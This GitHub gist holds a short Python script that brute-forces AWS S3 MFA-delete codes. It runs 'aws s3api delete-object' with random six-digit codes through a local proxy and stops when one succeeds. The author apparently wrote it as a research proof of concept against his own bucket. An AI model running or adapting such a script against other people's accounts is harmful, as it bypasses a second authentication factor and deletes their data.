Created
September 12, 2018 16:04
-
-
Save andresriancho/af252041c098ee0862069bd9941b20bf to your computer and use it in GitHub Desktop.
AWS S3 bucket bruteforce-2fa.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import sys | |
import time | |
import random | |
import subprocess | |
FNULL = open(os.devnull, 'w') | |
env = {'HTTPS_PROXY': 'http://localhost:8080/'} | |
cmd = ('aws --region us-east-1 --no-verify-ssl --profile=andres-root s3api delete-object' | |
' --mfa "arn:aws:iam::334918212912:mfa/root-account-mfa-device %s"' | |
' --bucket bruteforce2fa --key kitten.gif') | |
TESTED_CODES = [] | |
def get_random_code(): | |
code = random.randint(1, 999999) | |
code = str(code) | |
code = code.zfill(6) | |
return code | |
def get_code(): | |
try: | |
code = file('valid.code').read() | |
except: | |
code = get_random_code() | |
else: | |
code = code.strip() | |
#if code and code not in TESTED_CODES: | |
if code: | |
TESTED_CODES.append(code) | |
print('Using valid code %s from file' % code) | |
else: | |
code = get_random_code() | |
return code | |
for i in xrange(100): | |
code = get_code() | |
current_cmd = cmd % code | |
try: | |
process = subprocess.Popen(current_cmd, | |
shell=True, | |
env=env, | |
stdout=FNULL, | |
stderr=subprocess.STDOUT) | |
process.wait() | |
except Exception, e: | |
print('Exception raised while trying code %s: "%s"' % (code, e)) | |
else: | |
if process.returncode == 0: | |
print('Code %s is valid (return code: %s)' % (code, process.returncode)) | |
sys.exit(0) | |
else: | |
print('Code %s is invalid (return code: %s)' % (code, process.returncode)) | |
sys.exit(1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment